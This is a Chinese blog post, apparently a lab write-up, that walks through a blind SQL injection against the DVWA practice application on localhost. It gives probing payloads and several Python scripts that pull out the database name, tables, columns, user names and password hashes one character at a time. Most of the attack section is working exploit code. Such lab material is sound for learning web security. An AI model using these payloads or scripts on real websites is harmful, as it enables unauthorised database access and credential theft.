简单SQL注入试探、二

DVWA——简单SQL注入小记

今天我们来记录简单的盲注过程

简单的SQL injection(blind)

Level:low

登陆后选择SQL Injection(Blind) 能看到这样的界面

我们先随便尝试几个查询,会发现他只有两种输出内容。

用户存在于数据库中

用户不存在于数据库中

这是盲注的一个特点,不会返回任何错误的信息,只会告诉你你所查询的东西是否存在于数据库中。

普通注入好比直接询问数据库什么东西是什么,而盲注的数据库只会回答“是”或者“不是”因此我们要构造问题让数据库回答是或者不是从而来获取信息。

同样我们尝试1 and 1=11 and 1=2,发现两次结果相同,都是存在于数据库中。

我们猜测查询语句可能是通过字符查询,接着尝试 1' and '1'='1 和 1' and '1'='2 ,发现两次查询结果不相同,一次是正确,一次是错误。

这样我们就可以得到查询语句的确是通过字符查询的。

同样尝试 order by 查看该表中存在几列(虽然在这题中没什么用,但也可以尝试练手)

 

接下来我们要尝试判断该数据库的长度和名字了。

长度的话,我们可以通过length函数,length(database())表示数据库名字长度。

我们用1' and length(databse())>n# 来判断数据库名字的长度是否大于n多尝试几次即可得到数据库名字的长度。

最后我们通过1' and length(databse())=4# 来确定该数据库名字的长度为4。

 

然后我们编写python脚本代码。

这里需要注意的几个点:

1、用requests 请求传递的时候需要带上回话ID,不然的话,每次访问该DVWA平台都需要登陆,就不能发送正确的数据包。

2、在url中需要用url编码格式。

3、判断返回是否正确的方式可以是查询返回的页面中是否包含某个特殊字段。像该题中,正确的页面里包含了exists 而错误的页面中包含了MISSING,通过这两个可比较得到。

4、为什么使用盲注,是因为返回的界面只有正确和错误两种情况,而且在一般条件下我们设定数据库名字,表名字,列名字都是用常用的字幕和数字还有一些常用的符号来设定的,所以我们就大胆的猜测大概会使用'

,abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'这么些字符,我们只要一个个判断询问即可将整个数据库内容得知。

1.   import requests  

2.   import re  

3.     

4.   #通过之前的查询已得到数据库的长度  

5.   DBName_len=4  

6.     

7.   s = requests.session()  

8.   #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面  

9.   s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')  

10.s.cookies.set('security','low')  

11.def getDBName(DBName_len):  

12.    DBName = ""  

13.    #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id  

14.    #该句传递的参数是id=1' and left(database(),{0})='{1}'#&Submit=Submit#  

15.    #{0}{1}的值会在之后进行设定  

16.    url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28database%28%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"  

17.    chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'  

18.    print("Start to retrieve database name...")  

19.  

20.    for i in range( 1, DBName_len + 1):  

21.        print("Number of letter: " , i)  

22.        #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止  

23.        tempDBName = DBName  

24.        for char in chars:  

25.            print("Test letter " + char)  

26.            #因为这里我们用的是left函数而不是leftright互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询  

27.            temp = DBName+char  

28.            #该句对url进行赋值  

29.            _url = url.format(i, temp)  

30.  

31.            #通过requests.session().get()函数来获取返回的页面  

32.            response = s.get(_url)  

33.            #设定一个模式,exist  

34.            pattern = re.compile(r'exist')  

35.            #判断是否存在exist  

36.            match = pattern.search(response.text)  

37.            if match:  

38.                DBName += char  

39.                print("DBName is: " + DBName + "...")  

40.                break  

41.        #判断如果搜索完所有chars都无匹配则break  

42.        if tempDBName == DBName:  

43.            print("Letters too little! Program ended." )  

44.            break  

45.    #最后打印查询到的数据库名字  

46.    print("Retrieve completed! DBName is: " + DBName)  

47.#调用该函数  

48.getDBName(4)  

 最终得到的结果为:

 

接下来我们要查询数据库中的所有表名

只用修改代码中的url部分即可,使用left((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),{0})='{1}'#

 

1.   import requests  

2.   import re  

3.     

4.   s = requests.session()  

5.   #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面  

6.   s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')  

7.   s.cookies.set('security','low')  

8.   def getTableName():  

9.       TableName = ""  

10.    #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id  

11.    #该句传递的参数是id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),{0})='{1}'#&Submit=Submit#  

12.    #{0}{1}的值会在之后进行设定  

13.    url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28%28select+group_concat%28table_name%29+from+information_schema.tables+where+table_schema=%27dvwa%27%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"  

14.    chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'  

15.    print("Start to retrieve table name from dvwa...")  

16.    i = 1  

17.    while True:  

18.        print("Number of letter: " , i)  

19.        #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止  

20.        tempTableName = TableName  

21.        for char in chars:  

22.            print("Test letter " + char)  

23.            #因为这里我们用的是left函数而不是leftright互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询  

24.            temp = TableName+char  

25.            #该句对url进行赋值  

26.            _url = url.format(i, temp)  

28.            #通过requests.session().get()函数来获取返回的页面  

29.            response = s.get(_url)  

30.  

31.            #设定一个模式,exist  

32.            pattern = re.compile(r'exist')  

33.            #判断是否存在exist  

34.            match = pattern.search(response.text)  

35.            if match:  

36.                i+=1  

37.                TableName += char  

38.                print("TableName is: " + TableName + "...")  

39.                break  

40.        #判断如果搜索完所有chars都无匹配则break  

41.        if tempTableName == TableName:  

42.            print("Letters too little! Program ended." )  

43.            break  

44.    #最后打印查询到的数据库名字  

45.    print("Retrieve completed! AllTableName is: " + TableName)  

46.#调用该函数  

47.getTableName()  


最终的结果为:

 

 接下来我们得到了表名,同样查询列名,用left((select group_concat(column_name) from information_schema.columns where table_name='users'),{0})='{1}'#

1.   import requests  

2.   import re  

3.     

4.   s = requests.session()  

5.   #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面  

6.   s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')  

7.   s.cookies.set('security','low')  

8.   def getColumnName():  

9.       ColumnName = ""  

10.    #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id  

11.    #该句传递的参数是id=1' and left((select group_concat(column_name) from information_schema.columns where table_name='users'),{0})='{1}'#&Submit=Submit#  

12.    #{0}{1}的值会在之后进行设定  

13.    url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28%28select+group_concat%28column_name%29+from+information_schema.columns+where+table_name=%27users%27%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"  

14.    chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'  

15.    print("Start to retrieve column name from users...")  

16.    i = 1  

17.    while True:  

18.        print("Number of letter: " , i)  

19.        #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止  

20.        tempColumnName = ColumnName  

21.        for char in chars:  

22.            print("Test letter " + char)  

23.            #因为这里我们用的是left函数而不是leftright互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询  

24.            temp = ColumnName+char  

25.            #该句对url进行赋值  

26.            _url = url.format(i, temp)  

27.            #通过requests.session().get()函数来获取返回的页面  

28.            response = s.get(_url)  

29.  

30.            #设定一个模式,exist  

31.            pattern = re.compile(r'exist')  

32.            #判断是否存在exist  

33.            match = pattern.search(response.text)  

34.            if match:  

35.                i+=1  

36.                ColumnName += char  

37.                print("ColumnName is: " + ColumnName + "...")  

38.                break  

39.        #判断如果搜索完所有chars都无匹配则break  

40.        if tempColumnName == ColumnName:  

41.            print("Letters too little! Program ended." )  

42.            break  

43.    #最后打印查询到的数据库名字  

44.    print("Retrieve completed! AllColumnName is: " + ColumnName)  

45.#调用该函数  

46.getColumnName()  


最终的结果为:

 

同样我们要查询的字段是user和password 在经过两次查询即可得到

使用 1' and left((select group_concat(user) from users),{0})='{1}'#

1.   import requests  

2.   import re  

3.     

4.   s = requests.session()  

5.   #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面  

6.   s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')  

7.   s.cookies.set('security','low')  

8.   def getUser():  

9.       User = ""  

10.    #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id  

11.    #该句传递的参数是id=1' and left((select group_concat(user) from users),{0})='{1}'#&Submit=Submit#  

12.    #{0}{1}的值会在之后进行设定  

13.    url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28%28select+group_concat%28user%29+from+users%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"  

14.    chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'  

15.    print("Start to retrieve user from users...")  

16.    i = 1  

17.    while True:  

18.        print("Number of letter: " , i)  

19.        #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止  

20.        tempUser = User  

21.        for char in chars:  

22.            print("Test letter " + char)  

23.            #因为这里我们用的是left函数而不是leftright互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询  

24.            temp = User+char  

25.            #该句对url进行赋值  

26.            _url = url.format(i, temp)  

27.            #通过requests.session().get()函数来获取返回的页面  

28.            response = s.get(_url)  

29.  

30.            #设定一个模式,exist  

31.            pattern = re.compile(r'exist')  

32.            #判断是否存在exist  

33.            match = pattern.search(response.text)  

34.            if match:  

35.                i+=1  

36.                User += char  

37.                print("User is: " + User + "...")  

38.                break  

39.        #判断如果搜索完所有chars都无匹配则break  

40.        if tempUser == User:  

41.            print("Letters too little! Program ended." )  

42.            break  

43.    #最后打印查询到的数据库名字  

44.    print("Retrieve completed! AllUser is: " + User)  

45.#调用该函数  

46.getUser()  

最终的结果为:

然后使用 1' and left((select group_concat(password) from users),{0}='{1}'#

1.   import requests  

2.   import re  

3.     

4.   s = requests.session()  

5.   #我们不仅要设置会话ID同样也要设置security的参数,因为在DVWA平台中有不同的级别使用的是相同的页面  

6.   s.cookies.set('PHPSESSID','0j39nrr2r4tggigj59hv0b4825')  

7.   s.cookies.set('security','low')  

8.   def getPassword():  

9.       Password = ""  

10.    #url中表示要盲注的页面,后面跟着的id表示代码中是用get方法来获取id  

11.    #该句传递的参数是id=1' and left((select group_concat(password) from users),{0}='{1}'#&Submit=Submit#  

12.    #{0}{1}的值会在之后进行设定  

13.    url= "http://localhost:8088/DVWA/vulnerabilities/sqli_blind/?id=1%27+and+left%28%28select+group_concat%28password%29+from+users%29%2C{0}%29%3D%27{1}%27%23&Submit=Submit#"  

14.    chars = ',abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'  

15.    print("Start to retrieve Password from users...")  

16.    i = 1  

17.    while True:  

18.        print("Number of letter: " , i)  

19.        #设定一个判断的参数,在之后进行判断,如果一次完整的查询下来没有匹配到任何数据则停止  

20.        tempPassword = Password  

21.        for char in chars:  

22.            print("Test letter " + char)  

23.            #因为这里我们用的是left函数而不是leftright互用,所以需要将之前查询的正确结果也带上,只有最后一位在查询  

24.            temp = Password+char  

25.            #该句对url进行赋值  

26.            _url = url.format(i, temp)  

27.            #通过requests.session().get()函数来获取返回的页面  

28.            response = s.get(_url)  

29.  

30.            #设定一个模式,exist  

31.            pattern = re.compile(r'exist')  

32.            #判断是否存在exist  

33.            match = pattern.search(response.text)  

34.            if match:  

35.                i+=1  

36.                Password += char  

37.                print("Password is: " + Password + "...")  

38.                break  

39.        #判断如果搜索完所有chars都无匹配则break  

40.        if tempPassword == Password:  

41.            print("Letters too little! Program ended." )  

42.            break  

43.    #最后打印查询到的数据库名字  

44.    print("Retrieve completed! AllPassword is: " + Password)  

45.#调用该函数  

46.getPassword()  


最终的结果为:

 

这样我们就用脚本跑出了数据库中的所有用户名和密码。

 

 

小结:

1、chars数组中,出现几率较大的可以排前面。

2、盲注也可以通过比大小的方式来进行二分搜索。

3、代码出现问题的时候可以通过print来显示信息,也可以用burpsuite来抓包查看到底传递了什么参数。

4、不要忘了一些特殊参数的设置,如会话ID和security等。

posted @ 2018-04-26 15:02  DecimalFormat  阅读(577)  评论(0)    收藏  举报